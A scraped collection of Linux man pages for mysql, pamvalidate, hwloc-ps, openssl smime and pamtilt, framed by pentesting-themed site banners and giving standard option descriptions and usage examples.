             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

82 - Linux cli command mysql

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mysql and provides detailed information about the command mysql, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mysql.

NAME 🖥️ mysql 🖥️

the MariaDB command-line tool (mysql is now a symlink to mariadb)

SYNOPSIS

mysql [options] db_name

DESCRIPTION

mysql is a simple SQL shell (with GNU readline capabilities). It supports interactive and non-interactive use. When used interactively, query results are presented in an ASCII-table format. When used non-interactively (for example, as a filter), the result is presented in tab-separated format. The output format can be changed using command options.

If you have problems due to insufficient memory for large result sets, use the –quick option. This forces mysql to retrieve results from the server a row at a time rather than retrieving the entire result set and buffering it in memory before displaying it. This is done by returning the result set using the mysql_use_result() C API function in the client/server library rather than mysql_store_result().

Using mysql is very easy. Invoke it from the prompt of your command interpreter as follows:

shell> mysql db_name

Or:

shell> mysql –user=user_name –password=your_password db_name

Then type an SQL statement, end it with “;”, \g, or \G and press Enter.

Typing Control-C causes mysql to attempt to kill the current statement. If this cannot be done, or Control-C is typed again before the statement is killed, mysql exits.

You can execute SQL statements in a script file (batch file) like this:

shell> mysql db_name < script.sql > output.tab

MYSQL OPTIONS

mysql supports the following options, which can be specified on the command line or in the [mysql], [client], [client-server] or [client-mariadb] option file groups. mysql also supports the options for processing option files.

·

–help, -?, -I

Display a help message and exit.

·

–abort-source-on-error

Abort ‘source filename’ operations in case of errors.

·

–auto-rehash

Enable automatic rehashing. This option is on by default, which enables database, table, and column name completion. Use –disable-auto-rehash, –no-auto-rehash, or –skip-auto-rehash to disable rehashing. That causes mysql to start faster, but you must issue the rehash command if you want to use name completion.

To complete a name, enter the first part and press Tab. If the name is unambiguous, mysql completes it. Otherwise, you can press Tab again to see the possible names that begin with what you have typed so far. Completion does not occur if there is no default database.

·

–auto-vertical-output

Automatically switch to vertical output mode if the result is wider than the terminal width.

·

–batch, -B

Print results using tab as the column separator, with each row on a new line. With this option, mysql does not use the history file.

Batch mode results in nontabular output format and escaping of special characters. Escaping may be disabled by using raw mode; see the description for the –raw option.

·

–binary-mode

Binary mode allows certain character sequences to be processed as data that would otherwise be treated with a special meaning by the parser. Specifically, this switch turns off parsing of all client commands except \C and DELIMITER in non-interactive mode (i.e., when binary mode is combined with either 1) piped input, 2) the –batch mysql option, or 3) the ‘source’ command). Also, in binary mode, occurrences of ’ ’ and ASCII ‘�’ are preserved within strings, whereas by default, ’ ’ is translated to ' ’ and ‘�’ is disallowed in user input.

·

**–character-sets-dir=**path

The directory where character sets are installed.

·

–column-names

Write column names in results.

·

–column-type-info, -m

Display result set metadata.

·

–comments, -c

Whether to preserve comments in statements sent to the server. The default is –skip-comments (discard comments), enable with –comments (preserve comments).

·

–compress, -C

Compress all information sent between the client and the server if both support compression.

·

**–connect-timeout=**seconds

Set the number of seconds before connection timeout. (Default value is 0.)

·

**–database=**db_name, -D db_name

The database to use.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/mysql.trace’.

·

–debug-check

Print some debugging information when the program exits.

·

–debug-info, -T

Prints debugging information and memory and CPU usage statistics when the program exits.

·

**–default-auth=**name

Default authentication client-side plugin to use.

·

**–default-character-set=**charset_name

Use charset_name as the default character set for the client and connection.

A common issue that can occur when the operating system uses utf8 or another multi-byte character set is that output from the mysql client is formatted incorrectly, due to the fact that the MariaDB client uses the latin1 character set by default. You can usually fix such issues by using this option to force the client to use the system character set instead.

·

**–defaults-extra-file=**filename

Set filename as the file to read default options from after the global defaults files has been read. Must be given as first option.

·

**–defaults-file=**filename

Set filename as the file to read default options from, override global defaults files. Must be given as first option.

·

**–defaults-group-suffix=**suffix

In addition to the groups named on the command line, read groups that have the given suffix.

·

**–delimiter=**str

Set the statement delimiter. The default is the semicolon character (“;”).

·

–disable-named-commands

Disable named commands. Use the \ form only, or use named commands only at the beginning of a line ending with a semicolon (“;”). mysql starts with this option enabled by default. However, even with this option, long-format commands still work from the first line. See the section called “MYSQL COMMANDS”.

·

–enable-cleartext-plugin

Obsolete option. Exists only for MySQL compatibility.

·

**–execute=**statement, -e statement

Execute the statement and quit. Disables –force and history file. The default output format is like that produced with –batch.

·

–force, -f

Continue even if an SQL error occurs. Sets –abort-source-on-error to 0.

·

**–host=**host_name, -h host_name

Connect to the MariaDB server on the given host.

·

–html, -H

Produce HTML output.

·

–ignore-spaces, -i

Ignore spaces after function names. Allows one to have spaces (including tab characters and new line characters) between function name and ‘(’. The drawback is that this causes built in functions to become reserved words.

·

**–init-command=**str

SQL Command to execute when connecting to the MariaDB server. Will automatically be re-executed when reconnecting.

·

–line-numbers

Write line numbers for errors. Disable this with –skip-line-numbers.

·

–local-infile[={0|1}]

Enable or disable LOCAL capability for LOAD DATA INFILE. With no value, the option enables LOCAL. The option may be given as –local-infile=0 or –local-infile=1 to explicitly disable or enable LOCAL. Enabling LOCAL has no effect if the server does not also support it.

·

**–max-allowed-packet=**num

Set the maximum packet length to send to or receive from the server. (Default value is 16MB, largest 1GB.)

·

**–max-join-size=**num

Set the automatic limit for rows in a join when using –safe-updates. (Default value is 1,000,000.)

·

–named-commands, -G

Enable named mysql commands. Long-format commands are allowed, not just short-format commands. For example, quit and \q both are recognized. Use –skip-named-commands to disable named commands. See the section called “MYSQL COMMANDS”. Disabled by default.

·

·

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

83 - Linux cli command pamvalidate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamvalidate and provides detailed information about the command pamvalidate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamvalidate.

.

NAME 🖥️ pamvalidate 🖥️

validate Netpbm image format

SYNOPSIS

pamvalidate

DESCRIPTION

This program is part of Netpbm(1) .

pamvalidate copies a Netpbm image from Standard Input to Standard Output, except that if there are certain violations of the image format in the input, pamvalidate fails without producing any output.

This is most useful in a pipeline, before a stage you don’t want to start working on Netpbm input until it knows it can get all the way through it. For example, assume you are converting PPM images to PNG and you don’t want to produce a partial PNG file under any circumstance. If you just use pnmtopng, and the PPM input is truncated halfway through the raster, pnmtopng fails, but also produces about half of a PNG file. To prevent that, pass your PPM input through pamvalidate on its way to pnmtopng. Then, pamvalidate will fail, and consequently the pipeline will fail, before pnmtopng has seen any input and therefore before pnmtopng has produced any output.

These are the kinds of format violations pamvalidate detects:

  • A purported sample value exceeds the declared maxval.

  • The stream ends prematurely.

This program works on multi-image streams, producing a corresponding output stream.

See pamfix for a way to salvage an invalid Netpbm image stream.

OPTIONS

There are no command line options defined specifically for pamvalidate, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

pam(1) pnm(1) pamfix(1)

HISTORY

pamvalidate was new in Netpbm 10.66 (March 2014).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamvalidate.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

84 - Linux cli command hwloc-ps

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-ps and provides detailed information about the command hwloc-ps, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-ps.

NAME 🖥️ hwloc-ps 🖥️

ps - List currently-running processes or threads that are bound

SYNOPSIS

hwloc-ps [options]

OPTIONS

-a
List all processes, even those that are not bound to any specific part of the machine.

–pid <pid>
Only show process of PID <pid>, even if it is not bound to any specific part of the machine.

–children-of-pid <pid>
Only show process of PID <pid> and its hierarchy of children, even if they are not bound to any specific part of the machine.

–name <name>
Only show processes whose name contains <name>, even if they are not bound to any specific part of the machine. This is not supported on all operating systems.

–uid <uid>
Only show processes of the user whose UID is <uid>, or processes of all users if all is given. By default, only processes of the current user are displayed. This is currently only supported on Linux.

-p –physical
Report OS/physical indexes instead of logical indexes

-l –logical
Report logical indexes instead of physical/OS indexes (default)

-c –cpuset
Show process bindings as cpusets instead of objects.

-t –threads
Show threads inside processes. If -a is given as well, list all threads within each process. Otherwise, show all threads inside each process where at least one thread is bound. This is currently only supported on Linux.

–single-ancestor
When the object is bound to different objects, report their common ancestor (even if it may be larger than the actual binding).

-e –get-last-cpu-location
Report the last processors where the process/thread ran. Note that the result may already be outdated when reported since the operating system may move the tasks to other processors at any time according to the binding.

–disallowed
Include objects disallowed by administrative limitations.

–pid-cmd <cmd>
Append the output of the given command to each PID line. For each displayed process ID, execute the command <cmd> <pid> and append the first line of its output to the regular hwloc-ps line.

–pid-cmd env=<name>
On Linux, try to read the value of environment variable name in each process and display it at the end of the line.

–pid-cmd mpirank
On Linux, try to find the process MPI rank (by querying some widespread environment variables) and display it at the end of the line.

–lstopo-misc <file>
Output a file that may be given to lstopo –misc-from for displaying processes/threads as Misc objects. See EXAMPLES below.

–json-server
Run the tool as a JSON server that waits for other process’ requests on a port and sends back binding information. See contrib/hwloc-ps.www/ for details.

–json-port <port>
Use the given port number instead of the default 8888.

-v –verbose
Increase verbosity of the JSON server.

–short-name
Show only the process short name instead of the path.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

By default, hwloc-ps lists only those currently-running processes that are bound. If -t is given, processes that are not bound but contain at least one bound thread are also displayed, as well as all their threads.

hwloc-ps displays process identifier, command-line and binding. The binding may be reported as objects or cpusets.

By default, process bindings are restricted to the currently available topology. If some processes are bound to processors that are not available to the current process, they are ignored unless –disallowed is given.

The output is a plain list. If you wish to annotate the hierarchical topology with processes so as to see how they are actual distributed on the machine, you might want to use lstopo –ps instead (which also only shows processes that are bound).

The -a switch can be used to show all processes, if desired.

EXAMPLES

If a process is bound, it appears in the default output:

$ hwloc-ps 4759 Core:0 myprogram

If a process is bound on two cores of a larger package, the output will show these cores. Option –single-ancestor will rather return the package even if it is actually larger than the binding here (the process is not bound to Core:0 of Package:0):

$ hwloc-ps 4863 Core:1 Core:2 myprogram $ hwloc-ps –single-ancestor 4863 Package:0 myprogram

If a process is not bound but 3 of his 4 threads are bound, it only appears in the thread-aware output (or if explicitly selected):

$ hwloc-ps

$ hwloc-ps -t 4759 Machine:0 myprogram 4759 Machine:0 4761 PU:0 4762 PU:2 4765 PU:1

$ hwloc-ps –pid 4759 4759 Machine:0 myprogram

The output may be a file that lstopo uses for adding Misc objects (more flexible version of lstopo –top):

$ hwloc-ps –misc-from foo $ cat foo name=12444 myprogram cpuset=0x000000f0 subtype=Process

name=12444 mythread1 cpuset=0x00000050 subtype=Thread

name=12444 mythread2 cpuset=0x000000a0 subtype=Thread

This may be directly given to lstopo:

$ hwloc-ps –misc-from - | lstopo –misc-from -

On Linux, hwloc-ps may also display some process specific environment variable at the end of the line. This is for instance useful for identify MPI ranks among processes:

$ hwloc-ps –pid-cmd env=OMPI_COMM_WORLD_RANK 29093 PU:0 myprogram OMPI_COMM_WORLD_RANK=0 29094 PU:2 myprogram OMPI_COMM_WORLD_RANK=1 29095 PU:1 myprogram OMPI_COMM_WORLD_RANK=2 29096 PU:3 myprogram OMPI_COMM_WORLD_RANK=3

Some widespread MPI specific environment variables (OMPI_COMM_WORLD_RANK, PMIX_RANK, PMI_RANK and SLURM_PROCID) are actually directly recognized by hwloc-ps when requesting the mpirank command:

$ hwloc-ps –pid-cmd mpirank 29093 PU:0 myprogram PMIX_RANK=0 29094 PU:2 myprogram PMIX_RANK=1 29095 PU:1 myprogram PMIX_RANK=2 29096 PU:3 myprogram PMIX_RANK=3

Beside reading environment variables, hwloc-ps may also append the output of a custom program. Again, for reading the Open MPI process rank:

$ hwloc-ps –pid-cmd myscript 29093 PU:0 myprogram OMPI_COMM_WORLD_RANK=0 29094 PU:2 myprogram OMPI_COMM_WORLD_RANK=1 29095 PU:1 myprogram OMPI_COMM_WORLD_RANK=2 29096 PU:3 myprogram OMPI_COMM_WORLD_RANK=3

where myscript is a shell script doing:

#!/bin/sh cat /proc/$1/environ 2>/dev/null | xargs –null –max-args=1 echo | grep OMPI_COMM_WORLD_RANK

SEE ALSO

hwloc(7), lstopo(1), hwloc-calc(1), hwloc-distrib(1), and hwloc-ps.www/README

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

85 - Linux cli command openssl-smimessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-smimessl and provides detailed information about the command openssl-smimessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-smimessl.

NAME 🖥️ openssl-smimessl 🖥️

smime - S/MIME command

SYNOPSIS

openssl smime [-help] [-encrypt] [-decrypt] [-sign] [-resign] [-verify] [-pk7out] [-binary] [-crlfeol] [-cipher] [-in file] [-certfile file] [-signer file] [-nointern] [-noverify] [-nochain] [-nosigs] [-nocerts] [-noattr] [-nodetach] [-nosmimecap] [-recip file] [-inform DER|PEM|SMIME] [-outform DER|PEM|SMIME] [-keyform DER|PEM|P12|ENGINE] [-passin arg] [-inkey filename|uri] [-out file] [-content file] [-to addr] [-from ad] [-subject s] [-text] [-indef] [-noindef] [-stream] [-md digest] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore] [-engine id] [-rand files] [-writerand file] [-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks] [-provider name] [-provider-path path] [-propquery propq] [-config configfile] recipcert

DESCRIPTION

This command handles S/MIME mail. It can encrypt, decrypt, sign and verify S/MIME messages.

OPTIONS

There are six operation options that set the type of operation to be performed: -encrypt, -decrypt, -sign, -resign, -verify, and -pk7out. These are mutually exclusive. The meaning of the other options varies according to the operation type.

-help
Print out a usage message.

-encrypt
Encrypt mail for the given recipient certificates. Input file is the message to be encrypted. The output file is the encrypted mail in MIME format. Note that no revocation check is done for the recipient cert, so if that key has been compromised, others may be able to decrypt the text.

-decrypt
Decrypt mail using the supplied certificate and private key. Expects an encrypted mail message in MIME format for the input file. The decrypted mail is written to the output file.

-sign
Sign mail using the supplied certificate and private key. Input file is the message to be signed. The signed message in MIME format is written to the output file.

-resign
Resign a message: take an existing message and one or more new signers.

-verify
Verify signed mail. Expects a signed mail message on input and outputs the signed data. Both clear text and opaque signing is supported.

-pk7out
Takes an input message and writes out a PEM encoded PKCS#7 structure.

-in filename
The input message to be encrypted or signed or the MIME message to be decrypted or verified.

-out filename
The message text that has been decrypted or verified or the output MIME format message that has been signed or verified.

-inform DER|PEM|SMIME
The input format of the PKCS#7 (S/MIME) structure (if one is being read); the default is SMIME. See openssl-format-options (1) for details.

-outform DER|PEM|SMIME
The output format of the PKCS#7 (S/MIME) structure (if one is being written); the default is SMIME. See openssl-format-options (1) for details.

-keyform DER|PEM|P12|ENGINE
The key format; unspecified by default. See openssl-format-options (1) for details.

-stream, -indef, -noindef
The -stream and -indef options are equivalent and enable streaming I/O for encoding operations. This permits single pass processing of data without the need to hold the entire contents in memory, potentially supporting very large files. Streaming is automatically set for S/MIME signing with detached data if the output format is SMIME it is currently off by default for all other operations.

-noindef
Disable streaming I/O where it would produce and indefinite length constructed encoding. This option currently has no effect. In future streaming will be enabled by default on all relevant operations and this option will disable it.

-content filename
This specifies a file containing the detached content, this is only useful with the -verify command. This is only usable if the PKCS#7 structure is using the detached signature form where the content is not included. This option will override any content if the input format is S/MIME and it uses the multipart/signed MIME content type.

-text
This option adds plain text (text/plain) MIME headers to the supplied message if encrypting or signing. If decrypting or verifying it strips off text headers: if the decrypted or verified message is not of MIME type text/plain then an error occurs.

-md digest
Digest algorithm to use when signing or resigning. If not present then the default digest algorithm for the signing key will be used (usually SHA1).

-cipher
The encryption algorithm to use. For example DES (56 bits) - -des, triple DES (168 bits) - -des3, EVP_get_cipherbyname() function) can also be used preceded by a dash, for example -aes-128-cbc. See openssl-enc (1) for list of ciphers supported by your version of OpenSSL. If not specified triple DES is used. Only used with -encrypt.

-nointern
When verifying a message normally certificates (if any) included in the message are searched for the signing certificate. With this option only the certificates specified in the -certfile option are used. The supplied certificates can still be used as untrusted CAs however.

-noverify
Do not verify the signers certificate of a signed message.

-nochain
Do not do chain verification of signers certificates; that is, do not use the certificates in the signed message as untrusted CAs.

-nosigs
Don’t try to verify the signatures on the message.

-nocerts
When signing a message, the signer’s certificate is normally included. With this option it is excluded. This will reduce the size of the signed message, but the verifier must have a copy of the signers certificate available locally (passed using the -certfile option for example).

-noattr
Normally, when a message is signed, a set of attributes are included which include the signing time and supported symmetric algorithms. With this option they are not included.

-nodetach
When signing a message use opaque signing. This form is more resistant to translation by mail relays but it cannot be read by mail agents that do not support S/MIME. Without this option cleartext signing with the MIME type multipart/signed is used.

-nosmimecap
When signing a message, do not include the SMIMECapabilities attribute.

-binary
Normally the input message is converted to “canonical” format which is effectively using CR and LF as end of line: as required by the S/MIME specification. When this option is present no translation occurs. This is useful when handling binary data which may not be in MIME format.

-crlfeol
Normally the output file uses a single LF as end of line. When this option is present CRLF is used instead.

-certfile file
Allows additional certificates to be specified. When signing these will be included with the message. When verifying these will be searched for the signers certificates. The input can be in PEM, DER, or PKCS#12 format.

-signer file
A signing certificate when signing or resigning a message, this option can be used multiple times if more than one signer is required. If a message is being verified then the signers certificates will be written to this file if the verification was successful.

-recip file
The recipients certificate when decrypting a message. This certificate must match one of the recipients of the message or an error occurs.

-inkey filename|uri
The private key to use when signing or decrypting. This must match the corresponding certificate. If this option is not specified then the private key must be included in the certificate file specified with the -recip or -signer file. When signing this option can be used multiple times to specify successive keys.

-passin arg
The private key password source. For more information about the format of arg see openssl-passphrase-options (1).

-to, -from, -subject
The relevant mail headers. These are included outside the signed portion of a message so they may be included manually. If signing then many S/MIME mail clients check the signers certificate’s email address matches that specified in the From: address.

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details. Any verification errors cause the command to exit.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-config configfile
See “Configuration Option” in openssl (1).

recipcert …
One or more certificates of message recipients, used when encrypting a message.

NOTES

The MIME message must be sent without any blank lines between the headers and the output. Some mail programs will automatically add a blank line. Piping the mail directly to sendmail is one way to achieve the correct format.

The supplied message to be signed or encrypted must include the necessary MIME headers or many S/MIME clients won’t display it properly (if at all). You can use the -text option to automatically add plain text headers.

A “signed and encrypted” message is one where a signed message is then encrypted. This can be produced by encrypting an already signed message: see the examples section.

This version of the program only allows one signer per message but it will verify multiple signers on received messages. Some S/MIME clients choke if a message contains multiple signers. It is possible to sign messages “in parallel” by signing an already signed message.

The options -encrypt and -decrypt reflect common usage in S/MIME clients. Strictly speaking these process PKCS#7 enveloped data: PKCS#7 encrypted data is used for other purposes.

The -resign option uses an existing message digest when adding a new signer. This means that attributes must be present in at least one existing signer using the same message digest or this operation will fail.

The -stream and -indef options enable streaming I/O support. As a result the encoding is BER using indefinite length constructed encoding and no longer DER. Streaming is supported for the -encrypt operation and the -sign operation if the content is not detached.

Streaming is always used for the -sign operation with detached data but since the content is no longer part of the PKCS#7 structure the encoding remains DER.

EXIT CODES

  1. The operation was completely successfully.

  2. An error occurred parsing the command options.

  3. One of the input files could not be read.

  4. An error occurred creating the PKCS#7 file or when reading the MIME message.

  5. An error occurred decrypting or verifying the message.

  6. The message was verified correctly but an error occurred writing out the signers certificates.

EXAMPLES

Create a cleartext signed message:

openssl smime -sign -in message.txt -text -out mail.msg \ -signer mycert.pem

Create an opaque signed message:

openssl smime -sign -in message.txt -text -out mail.msg -nodetach \ -signer mycert.pem

Create a signed message, include some additional certificates and read the private key from another file:

openssl smime -sign -in in.txt -text -out mail.msg \ -signer mycert.pem -inkey mykey.pem -certfile mycerts.pem

Create a signed message with two signers:

openssl smime -sign -in message.txt -text -out mail.msg \ -signer mycert.pem -signer othercert.pem

Send a signed message under Unix directly to sendmail, including headers:

openssl smime -sign -in in.txt -text -signer mycert.pem \ -from [email protected] -to someone@somewhere \ -subject “Signed message” | sendmail someone@somewhere

Verify a message and extract the signer’s certificate if successful:

openssl smime -verify -in mail.msg -signer user.pem -out signedtext.txt

Send encrypted mail using triple DES:

openssl smime -encrypt -in in.txt -from [email protected] \ -to someone@somewhere -subject “Encrypted message” \ -des3 user.pem -out mail.msg

Sign and encrypt mail:

openssl smime -sign -in ml.txt -signer my.pem -text \ | openssl smime -encrypt -out mail.msg \ -from [email protected] -to someone@somewhere \ -subject “Signed and Encrypted message” -des3 user.pem

Note: the encryption command does not include the -text option because the message being encrypted already has MIME headers.

Decrypt mail:

openssl smime -decrypt -in mail.msg -recip mycert.pem -inkey key.pem

The output from Netscape form signing is a PKCS#7 structure with the detached signature format. You can use this program to verify the signature by line wrapping the base64 encoded structure and surrounding it with:

—–BEGIN PKCS7—– —–END PKCS7—–

and using the command:

openssl smime -verify -inform PEM -in signature.pem -content content.txt

Alternatively you can base64 decode the signature and use:

openssl smime -verify -inform DER -in signature.der -content content.txt

Create an encrypted message using 128 bit Camellia:

openssl smime -encrypt -in plain.txt -camellia128 -out mail.msg cert.pem

Add a signer to an existing message:

openssl smime -resign -in mail.msg -signer newsign.pem -out mail2.msg

BUGS

The MIME parser isn’t very clever: it seems to handle most messages that I’ve thrown at it but it may choke on others.

The code currently will only write out the signer’s certificate to a file: if the signer has a separate encryption certificate this must be manually extracted. There should be some heuristic that determines the correct encryption certificate.

Ideally a database should be maintained of a certificates for each email address.

The code doesn’t currently take note of the permitted symmetric encryption algorithms as supplied in the SMIMECapabilities signed attribute. This means the user has to manually include the correct encryption algorithm. It should store the list of permitted ciphers in a database and only use those.

No revocation checking is done on the signer’s certificate.

The current code can only handle S/MIME v2 messages, the more complex S/MIME v3 structures may cause parsing errors.

SEE ALSO

ossl_store-file (7)

HISTORY

The use of multiple -signer options and the -resign command were first added in OpenSSL 1.0.0

The -no_alt_chains option was added in OpenSSL 1.1.0.

The -engine option was deprecated in OpenSSL 3.0.

COPYRIGHT

Copyright 2000-2024 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

86 - Linux cli command pamtilt

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamtilt and provides detailed information about the command pamtilt, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamtilt.

.

NAME 🖥️ pamtilt 🖥️

print the tilt angle of a PGM file

SYNOPSIS

pamtilt [-angle=maxangle] [-fast] [-quality=q] [-hstep=n] [-vstep=n] [-dstep=n] [-astep=n] [-verbose] [pgmfile]

EXAMPLES

    scanimage --mode Gray --resolution 300 >crooked.pgm
    pnmrotate -b white `pamtilt crooked.pgm` crooked.pgm >straight.pgm
    (then crop, threshold, etc.)

DESCRIPTION

This program is part of Netpbm(1) .

pamtilt tries to find the correct angle for untilting (de-skewing) a scanned text document. The output is a single floating-point number (the angle in degrees) for use as the argument to pnmrotate.

“Document skew” is the name given to what happens when you feed a page into an image scanner at an angle: the resulting image is tilted. pamtilt aims to help correct that.

pamtilt makes three iterations at successively finer increments, testing prospective rotation angles to find the best one. pamtilt works best for straightening images with strong horizontal lines and does poorly with arbitrary photos. If pamtilt has no confidence in its results, it prints the special value 00.00; you can check for this or just pass it as a legal argument to pnmrotate.

pamtilt operates on the first plane of the input image, which is either PNM or PAM, and ignores any other planes. Ordinarily, the input is PGM or GRAYSCALE PAM, so there is only one plane.

pamtilt works on bilevel (PBM, BLACKANDWHITE PAM) images as well as grayscale, but you will minimize artifacts if you scan and rotate in grayscale before you apply a threshold to make a bilevel image.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamtilt recognizes the following command line options:

**-angle=**maxangle
Assume a maximum tilt angle of maxangle (measured in degrees). The default value is sufficient for most images, even those scanned somewhat carelessly.

The default is 10.0.

-fast
Skip the third iteration for speed at the expense of accuracy.

-verbose
